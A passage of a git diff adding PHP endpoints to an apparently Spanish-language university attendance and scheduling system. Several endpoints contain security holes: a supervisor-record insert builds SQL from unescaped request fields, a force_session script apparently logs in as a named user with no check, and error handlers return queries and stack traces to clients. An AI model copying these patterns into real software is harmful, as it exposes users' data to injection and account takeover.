DESC", + array('facultad_id' => $facultad_id) + ); + + /* + if (empty($avisos)) { + header('HTTP/1.1 404 Not Found'); + echo json_encode(array('error' => 'No hay avisos disponibles')); + exit(); + } + */ + + $avisos = array_map(fn($aviso) => array( + ...$aviso, + 'carreras' => $db->query( + "SELECT carrera_id, carrera_nombre FROM aviso_carrera + JOIN carrera USING (carrera_id) + WHERE aviso_id = :aviso_id", + array('aviso_id' => $aviso['aviso_id']) + ), + 'profesores' => $db->query( + "SELECT profesor_id, profesor_clave, profesor_nombre FROM aviso_profesor + JOIN profesor USING (profesor_id) + WHERE aviso_id = :aviso_id", + array('aviso_id' => $aviso['aviso_id']) + ), + ), $avisos); + echo json_encode($avisos); + break; + case 'POST': + $raw_input = file_get_contents('php://input'); + if (empty($raw_input)) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'No se recibieron parámetros')); + exit(); + } + + $input_data = json_decode($raw_input); + if (json_last_error() !== JSON_ERROR_NONE) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'Invalid JSON format')); + exit(); + } + + + $schema = <<validate($input_data, json_decode($schema)); + + if (!$validate->isValid()) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode( + array( + 'error' => 'El formato de la solicitud es incorrecto', + 'success' => false, + 'errors' => $validate->getErrors() + ) + ); + exit(); + } + + $aviso_id = $db->insert( + 'aviso', + array( + 'aviso_fecha_inicial' => $input_data->aviso_fecha_inicial, + 'aviso_fecha_final' => $input_data->aviso_fecha_final, + 'aviso_texto' => $input_data->aviso_texto, + 'facultad_id' => $user->facultad['facultad_id'], + ), + 'aviso_id' + ); + + if (isset($input_data->carreras)) { + array_walk($input_data->carreras, fn($carrera_id) => $db->insert('aviso_carrera', array('aviso_id' => $aviso_id, 'carrera_id' => $carrera_id))); + } + if (isset($input_data->profesores)) { + array_walk($input_data->profesores, fn($profesor_id) => $db->insert('aviso_profesor', array('aviso_id' => $aviso_id, 'profesor_id' => $profesor_id))); + } + + echo json_encode( + array( + 'aviso_id' => $aviso_id, + 'msg' => 'Aviso creado exitosamente', + 'success' => true + ) + ); + break; + case 'PUT': + $raw_input = file_get_contents('php://input'); + if (empty($raw_input)) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'No se recibieron parámetros')); + exit(); + } + + $input_data = json_decode($raw_input); + if (json_last_error() !== JSON_ERROR_NONE) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'Invalid JSON format')); + exit(); + } + + $schema = <<validate($input_data, json_decode($schema)); + + if (!$validate->isValid()) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode( + array( + 'error' => 'El formato de la solicitud es incorrecto', + 'errors' => $validate->getErrors(), + 'success' => false, + ) + ); + exit(); + } + + $db->where('aviso_id', $input_data->aviso_id) + ->update( + 'aviso', + array( + 'aviso_fecha_final' => $input_data->aviso_fecha_final, + ), + ); + + if (isset($input_data->carreras)) { + $db->where('aviso_id', $input_data->aviso_id)->delete('aviso_carrera'); + array_walk($input_data->carreras, fn($carrera_id) => $db->insert('aviso_carrera', array('aviso_id' => $input_data->aviso_id, 'carrera_id' => $carrera_id))); + } + + if (isset($input_data->profesores)) { + $db->where('aviso_id', $input_data->aviso_id)->delete('aviso_profesor'); + array_walk($input_data->profesores, fn($profesor_id) => $db->insert('aviso_profesor', array('aviso_id' => $input_data->aviso_id, 'profesor_id' => $profesor_id))); + } + + echo json_encode( + array( + 'msg' => 'Aviso actualizado exitosamente', + 'success' => true + ) + ); + break; + + case 'DELETE': + $raw_input = file_get_contents('php://input'); + if (empty($raw_input)) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'No se recibieron parámetros')); + exit(); + } + + $input_data = json_decode($raw_input); + if (json_last_error() !== JSON_ERROR_NONE) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(array('error' => 'Invalid JSON format')); + exit(); + } + + $schema = <<validate($input_data, json_decode($schema)); + + if (!$validate->isValid()) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode( + array( + 'error' => 'El formato de la solicitud es incorrecto', + 'errors' => $validate->getErrors(), + 'success' => false, + ) + ); + exit(); + } + + $result = $db->where('aviso_id', $input_data->aviso_id)->update('aviso', array('aviso_estado' => false)); + echo json_encode( + array( + 'msg' => 'Aviso eliminado exitosamente', + 'success' => true, + 'result' => $result + ) + ); + + break; + } +} catch (PDOException $e) { + echo json_encode( + array( + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ) + ); +} \ No newline at end of file diff --git a/action/carrera.php b/action/carrera.php new file mode 100644 index 0000000..5d86594 --- /dev/null +++ b/action/carrera.php @@ -0,0 +1,66 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + // Fetch all puestos + $facultad_id = $user->facultad['facultad_id']; + $periodo_nivel_id = $db->where('periodo_id', $user->periodo_id)->getOne('periodo', 'nivel_id')['nivel_id']; + $carreras = $db->query(<< $facultad_id, + 'periodo_nivel_id' => $periodo_nivel_id + ]); + echo json_encode($carreras); + break; + + case 'PUT': + // Update carrera {nivel_id} + $raw = file_get_contents('php://input'); + $data = json_decode($raw, true); + + if (!isset($data['carrera_id'], $data['nivel_id'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta el id de la carrera o el nivel']); + exit(); + } + + $carrera_id = $data['carrera_id']; + $nivel_id = $data['nivel_id']; + $db->where('carrera_id', $carrera_id)->update('carrera', ['nivel_id' => $nivel_id]); + + $carrera_nombre = $db->where('carrera_id', $carrera_id)->getOne('carrera', 'carrera_nombre')['carrera_nombre']; + $nivel_nombre = $db->where('nivel_id', $nivel_id)->getOne('nivel', 'nivel_nombre')['nivel_nombre']; + + echo json_encode(['success' => "$carrera_nombre actualizada a $nivel_nombre"]); + break; + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/carrera_find.php b/action/carrera_find.php new file mode 100644 index 0000000..e18bb10 --- /dev/null +++ b/action/carrera_find.php @@ -0,0 +1,10 @@ + $_POST['fac_id']]; + +echo json_encode(query($sql, $params, false)); +?> \ No newline at end of file diff --git a/action/correo.php b/action/correo.php new file mode 100644 index 0000000..7b5d092 --- /dev/null +++ b/action/correo.php @@ -0,0 +1,20 @@ +?correo="; + exit(); +} + + +$to = $_GET["correo"]; +$texto = "

Esto es una prueba automatizada

El correo se envió atutomáticamente, no debes hacer nada más.

"; +$asunto="Prueba"; +Mailer::enviarCorreo($to, $asunto, $texto, true); +echo "Enviado!".date("H:i:s"); + +?> diff --git a/action/force_session.php b/action/force_session.php new file mode 100644 index 0000000..781fa82 --- /dev/null +++ b/action/force_session.php @@ -0,0 +1,37 @@ + $usuario]); +// die(json_encode($user)); + +$facultad = [ + "facultad_id" => $user["facultad"], + "facultad" => $user["facultad_nombre"] +]; + +$rol = [ + "rol_id" => $user["rol"], + "rol" => $user["titulo"] +]; + +$admin = false; + +$periodo = $user["periodo"]; + +$user = [ + "id" => $user["id"], + "nombre" => $user["username"] +]; + +$user = new Login($user, $facultad, $rol, $admin, $periodo); +if (isset($_SESSION)) + session_start(); +$_SESSION['user'] = serialize($user); + +header("Location: ../main.php"); +exit; \ No newline at end of file diff --git a/action/horario_profesor.php b/action/horario_profesor.php new file mode 100644 index 0000000..bea48a6 --- /dev/null +++ b/action/horario_profesor.php @@ -0,0 +1,46 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + $profesor_id = $db + ->where('profesor_clave', $_GET['profesor']) + ->getOne('profesor', 'profesor_id'); + // Fetch all puestos + $horarios = $db->query(<<periodo_id, $profesor_id['profesor_id']] + ); + + echo json_encode($horarios); + break; + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/justificar.php b/action/justificar.php new file mode 100644 index 0000000..4b9308b --- /dev/null +++ b/action/justificar.php @@ -0,0 +1,76 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'POST': + // check parameters + + $raw = file_get_contents('php://input'); + $post_data = json_decode($raw, true); + + $data = $db->querySingle( + 'WITH HORARIOS AS ( + SELECT * + FROM horario + JOIN horario_profesor USING (horario_id) + WHERE horario.periodo_id = :periodo_id + ) + INSERT INTO registro (profesor_id, horario_id, registro_fecha_ideal, registro_justificada, justificador_id, registro_fecha_justificacion, justificacion) + VALUES (:profesor_id, :horario_id, :registro_fecha_ideal, :registro_justificada, :justificador_id, NOW(), :justificacion) + ON CONFLICT (profesor_id, horario_id, registro_fecha_ideal) + DO UPDATE SET registro_justificada = :registro_justificada, justificador_id = :justificador_id, registro_fecha_justificacion = NOW(), justificacion = :justificacion + RETURNING *', + array( + 'periodo_id' => $user->periodo_id, + 'profesor_id' => $post_data['profesor_id'], + 'horario_id' => $post_data['horario_id'], + 'registro_fecha_ideal' => $post_data['registro_fecha_ideal'], + 'registro_justificada' => $post_data['registro_justificada'], + 'justificador_id' => $user->user['id'], + 'justificacion' => empty($post_data['justificacion']) ? null : $post_data['justificacion'], + ) + ); + + + $data_justificador = $db->querySingle( + "SELECT justificador.usuario_nombre as justificador_nombre, + justificador.usuario_clave as justificador_clave, + facultad.facultad_nombre as justificador_facultad, rol.rol_titulo as justificador_rol + + FROM USUARIO JUSTIFICADOR + JOIN ROL on ROL.rol_id = justificador.rol_id + LEFT JOIN facultad on facultad.facultad_id = justificador.facultad_id + where justificador.usuario_id = :justificador_id", + array( + 'justificador_id' => $user->user['id'], + ) + ); + // exit('exit'); + + echo json_encode(array_merge($data, $data_justificador), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + break; + + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} catch (Exception $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/mail_javier.php b/action/mail_javier.php new file mode 100644 index 0000000..9433b9b --- /dev/null +++ b/action/mail_javier.php @@ -0,0 +1,7 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + // Fetch all puestos + $nivel = $db->get('nivel'); + echo json_encode($nivel); + break; + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/periodo_datos.php b/action/periodo_datos.php new file mode 100644 index 0000000..7da8339 --- /dev/null +++ b/action/periodo_datos.php @@ -0,0 +1,44 @@ + 'unauthorized'])); +} +$user = unserialize($_SESSION['user']); +// check method +if ($_SERVER['REQUEST_METHOD'] !== 'GET') { + http_response_code(405); + die(json_encode(['error' => 'method not allowed'])); +} + +const JSON_OPTIONS = JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR; +try { + $data = $db->querySingle("SELECT *, LEAST(periodo_fecha_fin, CURRENT_DATE) as fecha_final FROM periodo WHERE periodo_id = ?", array($user->periodo_id)); + $last_query = [ + 'query' => $db->getLastQuery(), + ]; + + echo json_encode($data, JSON_OPTIONS); +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + ], JSON_OPTIONS); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_OPTIONS); + exit; +} \ No newline at end of file diff --git a/action/periodos.php b/action/periodos.php new file mode 100644 index 0000000..bc1d98f --- /dev/null +++ b/action/periodos.php @@ -0,0 +1,204 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + // Fetch all puestos + $periodo_id = $user->periodo_id; + if (is_null($user->facultad['facultad_id'])) { + $periodos = $db + //->where('CURRENT_DATE BETWEEN periodo_fecha_inicio AND periodo_fecha_fin') + ->join('nivel', 'nivel.nivel_id = periodo.nivel_id') + ->orderBy('periodo_id') + ->get('periodo', null, 'periodo.*, nivel_nombre as nivel'); + } else { + $periodos = $db->query( + "SELECT DISTINCT periodo.*, nivel_nombre as nivel FROM periodo + JOIN horario_view USING (periodo_id) + JOIN nivel ON nivel.nivel_id = periodo.nivel_id + WHERE /*CURRENT_DATE BETWEEN periodo.periodo_fecha_inicio AND periodo.periodo_fecha_fin + AND */facultad_id = :facultad_id + ORDER BY periodo_id + ", + ['facultad_id' => $user->facultad['facultad_id']] + ); + } + echo json_encode($periodos); + break; + + case 'PUT': + // Update nivel_id of a periodo + $raw = file_get_contents('php://input'); + $data = json_decode($raw, true); + + if (!isset($data['action'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta la acción a realizar']); + exit(); + } + + switch ($data['action']) { + case 'changeNivel': + if (!isset($data['periodo_id'], $data['nivel_id'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta el id del periodo o el nivel']); + exit(); + } + + $periodo_id = $data['periodo_id']; + $nivel_id = $data['nivel_id']; + $db->where('periodo_id', $periodo_id)->update('periodo', ['nivel_id' => $nivel_id]); + + $periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre']; + $nivel_nombre = $db->where('nivel_id', $nivel_id)->getOne('nivel', 'nivel_nombre')['nivel_nombre']; + + echo json_encode([ + 'success' => + "El nivel del periodo $periodo_nombre ha sido cambiado a $nivel_nombre" + ]); + break; + + case 'changeFechaInicio': + if (!isset($data['periodo_id'], $data['periodo_fecha_inicio'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta el id del periodo o la fecha de inicio']); + exit(); + } + + $periodo_id = $data['periodo_id']; + $periodo_fecha_inicio = $data['periodo_fecha_inicio']; + $db->where('periodo_id', $periodo_id)->update('periodo', ['periodo_fecha_inicio' => $periodo_fecha_inicio]); + + $periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre']; + + echo json_encode([ + 'success' => + "La fecha de inicio del periodo $periodo_nombre ha sido cambiada a $periodo_fecha_inicio" + ]); + break; + + case 'changeFechaFin': + if (!isset($data['periodo_id'], $data['periodo_fecha_fin'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta el id del periodo o la fecha de fin']); + exit(); + } + + $periodo_id = $data['periodo_id']; + $periodo_fecha_fin = $data['periodo_fecha_fin']; + $db->where('periodo_id', $periodo_id)->update('periodo', ['periodo_fecha_fin' => $periodo_fecha_fin]); + + $periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre']; + + echo json_encode([ + 'success' => + "La fecha de fin del periodo $periodo_nombre ha sido cambiada a $periodo_fecha_fin" + ]); + break; + + case 'updatePeriodo': + if (!isset($data['periodo_id'], $data['periodo_nombre'], $data['id_periodo_sgu'], $data['periodo_clave'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Faltan datos para actualizar el periodo']); + exit(); + } + + $periodo_id = $data['periodo_id']; + + $db->where('periodo_id', $periodo_id)->update('periodo', array_filter($data, fn($key) => in_array($key, [ + 'periodo_nombre', + 'id_periodo_sgu', + 'periodo_clave', + ]), ARRAY_FILTER_USE_KEY)); + + $periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre']; + + echo json_encode([ + 'success' => + "El periodo $periodo_nombre ha sido actualizado" + ]); + break; + + default: + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Acción no válida']); + exit(); + } + + break; + case 'POST': + $raw = file_get_contents('php://input'); + $data = json_decode($raw, true); + + if (!isset($data['periodo_nombre'], $data['nivel_id'], $data['periodo_fecha_inicio'], $data['periodo_fecha_fin'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Faltan datos para crear el periodo']); + exit(); + } + + $newPeriodo = $db->insert( + 'periodo', + array_filter($data, fn($key) => in_array($key, [ + 'periodo_nombre', + 'nivel_id', + 'periodo_fecha_inicio', + 'periodo_fecha_fin', + 'periodo_clave', + 'id_periodo_sgu', + ]), ARRAY_FILTER_USE_KEY) + ); + + echo json_encode([ + 'success' => true, + 'message' => 'El periodo ha sido creado', + 'periodo' => $newPeriodo + ]); + break; + + case 'DELETE': + // Delete a periodo + $raw = file_get_contents('php://input'); + $data = json_decode($raw, true); + + if (!isset($data['periodo_id'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Falta el id del periodo']); + exit(); + } + + $periodo_id = $data['periodo_id']; + $periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre']; + + $db->where('periodo_id', $periodo_id)->delete('periodo'); + + echo json_encode([ + 'success' => true, + 'message' => "El periodo $periodo_nombre ha sido eliminado" + ]); + break; + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} catch (Exception $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/profesor_faltas.php b/action/profesor_faltas.php new file mode 100644 index 0000000..0e9e896 --- /dev/null +++ b/action/profesor_faltas.php @@ -0,0 +1,135 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + $facultad = $_GET['facultad'] ?? $user->facultad['facultad_id'] ?? null; + $porcentaje = $_GET['porcentaje'] ?? null; + $faltas = $_GET['faltas'] ?? null; + + if (!isset($facultad) || !is_numeric($facultad)) { + $error = 'No se ha seleccionado una facultad'; + } else if ((!isset($faltas) || !is_numeric($faltas)) && (!isset($porcentaje) || !is_numeric($porcentaje))) { + $error = 'Debe especificar las faltas o el porcentaje'; + } else if (isset($faltas) && (!is_numeric($faltas) || $faltas <= 0)) { + $error = 'Las faltas deben ser un número mayor a 0'; + } else if (isset($porcentaje) && (!is_numeric($porcentaje) || $porcentaje <= 0)) { + $error = 'El porcentaje debe ser un número mayor a 0'; + } else if (isset($faltas) && isset($porcentaje)) { + $error = 'No se puede especificar las faltas y el porcentaje al mismo tiempo'; + } else if (!isset($facultad) || !is_numeric($facultad)) { + $error = 'Debe especificar una facultad'; + } + + if (isset($error)) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => $error]); + exit(); + } + // Initialize the data array + $data = array(); + + // Check if 'profesor' or 'supervisor' is set and prepare the specific part of the SQL query accordingly. + if (isset($_GET['profesor']) || isset($_GET['supervisor'])) { + + $condition = isset($_GET['profesor']) + ? "r.registro_fecha IS NULL AND NOT COALESCE(r.registro_justificada, FALSE)" + : "estado_supervisor_id = 2"; + + $filter = isset($faltas) + ? "afcp.faltas >= :faltas" + : "afcp.porcentaje >= :porcentaje"; + + // Prepare the SQL query with placeholders for parameters + $data = array_column($db->query( + "WITH fechas AS ( + SELECT + h.horario_id, + fechas_clase(h.horario_id, true) AS registro_fecha_ideal, + hp.profesor_id + FROM horario h + JOIN horario_profesor hp USING (horario_id) + WHERE (h.PERIODO_ID, h.FACULTAD_ID) = (:periodo_id, :facultad_id) AND hp.profesor_id <> 0 + ), + asistencia_faltas AS ( + SELECT + f.profesor_id, + COUNT(1) AS total, + COUNT(1) FILTER (WHERE $condition AND f.registro_fecha_ideal <= current_date) AS faltas + FROM fechas f + LEFT JOIN registro r USING (registro_fecha_ideal, horario_id, profesor_id) + GROUP BY f.profesor_id + ), + asistencia_faltas_con_porcentaje AS ( + SELECT + af.profesor_id, + af.faltas, + af.total, + CASE + WHEN af.total > 0 THEN ROUND((af.faltas::NUMERIC / af.total) * 100, 2) + ELSE NULL + END AS porcentaje + FROM asistencia_faltas af + WHERE af.faltas > 0 + ) + SELECT + json_build_object( + 'profesor', json_build_object( + 'profesor_nombre', p.profesor_nombre, + 'profesor_clave', p.profesor_clave, + 'profesor_correo', p.profesor_correo + ), + 'profesor_id', afcp.profesor_id, + 'faltas', afcp.faltas, + 'total', afcp.total, + 'porcentaje', afcp.porcentaje + ) AS result_json + FROM asistencia_faltas_con_porcentaje afcp + JOIN profesor p USING (profesor_id) + WHERE $filter + ORDER BY afcp.porcentaje DESC; + ", + [ + 'periodo_id' => $user->periodo_id, + 'facultad_id' => $facultad, + ] + (isset($faltas) + ? ['faltas' => $faltas] + : ['porcentaje' => $porcentaje]) + ), 'result_json'); + } else { + // Send a 400 Bad Request header and an error message in JSON format + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Especifique si las faltas son de profesor o supervisor']); + exit(); + } + if (empty($data)) { + header('HTTP/1.1 404 Not Found'); + echo json_encode(['error' => 'No se encontraron faltas']); + } else { + echo json_encode( + array_map(fn($item) => json_decode($item), $data) + ); + } + + break; + + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + ]); +} diff --git a/action/puesto.php b/action/puesto.php new file mode 100644 index 0000000..0eb4fe2 --- /dev/null +++ b/action/puesto.php @@ -0,0 +1,113 @@ + 'No se ha iniciado sesión']); + exit(); +} +$user = Login::get_user(); + +try { + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + // Fetch all puestos + $facultad_id = $user->facultad['facultad_id'] ?? -1; + $puestos = array_map( + fn($p) => array( + ...$p, + 'materias' => $db->where('puesto_id', $p['puesto_id']) + ->join('puesto_materia', 'puesto_materia.materia_id = materia.materia_id', 'LEFT') + ->get(tableName: 'materia', columns: ['materia.materia_id', 'materia_nombre', 'clave_materia',]), + 'encargado' => $db->where('puesto_id', $p['puesto_id']) + ->join('puesto_usuario', 'puesto_usuario.usuario_id = usuario.usuario_id', 'LEFT') + ->getOne('usuario', ['usuario.usuario_id', 'usuario_nombre', 'usuario_clave']), + ), + $db->orderBy('puesto.nombre', 'desc') + ->where('facultad_id', $facultad_id) + ->get(tableName: 'puesto', columns: 'puesto_id, nombre'), + ); + echo json_encode($puestos); + break; + + case 'POST': + $raw_input = file_get_contents('php://input'); + $input_data = json_decode($raw_input, true); + + if (!$input_data || !isset($input_data['puesto_nombre'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Datos inválidos']); + exit(); + } + + $puesto = $db->insert('puesto', [ + 'nombre' => $input_data['puesto_nombre'], + 'facultad_id' => $user->facultad['facultad_id'], + ], ['puesto_id', 'nombre', 'facultad_id']); + + echo json_encode( + array( + ...$puesto, + 'materias' => [], + 'encargado' => null, + ), + ); + break; + + case 'PUT': + $raw_input = file_get_contents('php://input'); + $input_data = json_decode($raw_input, true); + + if (!$input_data || !isset($input_data['puesto_id'], $input_data['materias'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Datos inválidos']); + exit(); + } + + $db->where('puesto_id', $input_data['puesto_id'])->delete('puesto_materia'); + $db->where('puesto_id', $input_data['puesto_id'])->delete('puesto_usuario'); + + foreach ($input_data['materias'] as $materia_id) { + $db->insert('puesto_materia', [ + 'puesto_id' => $input_data['puesto_id'], + 'materia_id' => $materia_id, + ]); + } + + if (isset($input_data['usuario_id'])) + $db->insert('puesto_usuario', [ + 'puesto_id' => $input_data['puesto_id'], + 'usuario_id' => $input_data['usuario_id'], + ]); + + echo json_encode(['msg' => 'Puesto actualizado exitosamente']); + break; + + case 'DELETE': + $raw_input = file_get_contents('php://input'); + $input_data = json_decode($raw_input, true); + + if (!$input_data || !isset($input_data['puesto_id'])) { + header('HTTP/1.1 400 Bad Request'); + echo json_encode(['error' => 'Datos inválidos']); + exit(); + } + + $db->where('puesto_id', $input_data['puesto_id'])->delete('puesto'); + echo json_encode(['msg' => 'Puesto eliminado exitosamente']); + break; + + default: + header('HTTP/1.1 405 Method Not Allowed'); + echo json_encode(['error' => 'Método no permitido']); + break; + } +} catch (PDOException $e) { + echo json_encode([ + 'error' => $e->getMessage(), + 'query' => $db->getLastQuery(), + 'exception' => $e->getTraceAsString() + ]); +} \ No newline at end of file diff --git a/action/registro_supervisor.php b/action/registro_supervisor.php new file mode 100644 index 0000000..b279381 --- /dev/null +++ b/action/registro_supervisor.php @@ -0,0 +1,60 @@ + [ + 'profesor_id', + 'horario_id', + 'estado', + 'comentario', + 'supervisor_id', + ], +]); +#output rutas: [ ...ruta, salones: [{...salon}] ] +header('Content-Type: application/json charset=utf-8'); +#return html +$ruta = "../"; +require_once "../class/c_login.php"; +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'POST') { + // check parameters + $raw = file_get_contents('php://input'); + $post_data = json_decode($raw, true); + // if it's a list + // step 1: get subrutas + if (empty($post_data)) { + http_response_code(400); + echo json_encode(['error' => 'No hay clases pendientes']); + exit; + } + + $data = $db->query( + 'INSERT INTO registro (profesor_id, horario_id, registro_fecha_supervisor, estado_supervisor_id, registro_fecha_ideal, supervisor_id, comentario) + VALUES' . + implode(',', array_map(fn($x) => "({$x['profesor_id']} , {$x['horario_id']}, NOW()," . (is_null($x['estado']) ? 'null' : $x['estado']) . ", NOW(), {$x['supervisor_id']}," . (empty($x['comentario']) ? 'null' : "'{$x['comentario']}'") . ')', $post_data)) + . ' ON CONFLICT (profesor_id, horario_id, registro_fecha_ideal) DO UPDATE SET estado_supervisor_id = EXCLUDED.estado_supervisor_id, registro_fecha_supervisor = NOW(), comentario = EXCLUDED.comentario, supervisor_id = EXCLUDED.supervisor_id + RETURNING *' + ); + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + + } + +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + 'post_data' => $post_data, + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/reposicion_autoriza.php b/action/reposicion_autoriza.php new file mode 100644 index 0000000..e3a1d8a --- /dev/null +++ b/action/reposicion_autoriza.php @@ -0,0 +1,195 @@ +querySingle('SELECT h.materia, r.fecha_nueva, r.hora_nueva, r.fecha_clase, h.horario_hora, h.facultad_id, h.facultad, f.clave_dependencia, r.motivo_cancelacion, ta.tipoaula_supervisor , ta.tipoaula_nombre + from reposicion_solicitud r + inner join horario_view h on h.horario_id = r.horario_id + inner join facultad f on f.facultad_id = h.facultad_id + inner join tipoaula ta on ta.tipoaula_id = r.tipoaula_id + where r.reposicion_solicitud_id = :id_repo', + [':id_repo' => $id_repo] + ); + +//Obtiene datos de salón asignado +$salon_desc = "Pendiente"; +if(!empty($salon)){ + $salon_rs = $db->querySingle('SELECT s.salon_id, s.salon_array FROM salon_view s where s.salon_id = :id_salon', + [':id_salon' => $salon] + ); + if($salon_rs["salon_id"] == "" || $salon_rs["salon_id"] == NULL){ + $salon_desc = "Pendiente"; + }else{ + $salon_json = json_decode($salon_rs["salon_array"], true); + if($salon_json[0]== "UNIVERSIDAD LA SALLE"){ + unset($salon_json[0]); + } + $salon_desc = join(" / ",$salon_json); + } +} + +//Obtiene correos +$correos_rs = $db->query('SELECT p.profesor_nombre, p.profesor_correo, u.usuario_nombre as jefe_nombre, u.usuario_correo as jefe_correo, + coor.usuario_nombre as coordinador_nombre, coor.usuario_correo as coordinador_correo + from reposicion_solicitud rs + inner join profesor p on rs.profesor_id =p.profesor_id + inner join usuario u on u.usuario_id = rs.usuario_id + inner join horario_view hv on hv.horario_id = rs.horario_id + inner join usuario coor on hv.facultad_id = coor.facultad_id and coor.rol_id = :rol_coord + where rs.reposicion_solicitud_id = :id_repo', + [':rol_coord' => COORDINADOR, ':id_repo' => $id_repo] + ); +//print_r($correos_rs); exit(); + +$prof_correos=array(); +$jefe_correos=[]; +$coord_correos=[]; + +foreach($correos_rs as $correo){ + if( count($prof_correos)==0 && $correo["profesor_correo"]!=""){ + if( !isset($prof_correos["correo"]) || !in_array($correo["profesor_correo"], $prof_correos["correo"]) ){ + array_push($prof_correos, $correo["profesor_correo"]); + } + } + if( count($jefe_correos)==0 && $correo["jefe_correo"]!=""){ + if(!isset($jefe_correos["correo"]) || !in_array($correo["jefe_correo"], $jefe_correos["correo"])){ + array_push($jefe_correos, $correo["jefe_correo"]); + } + } + if( count($coord_correos)==0 && $correo["coordinador_correo"]!=""){ + 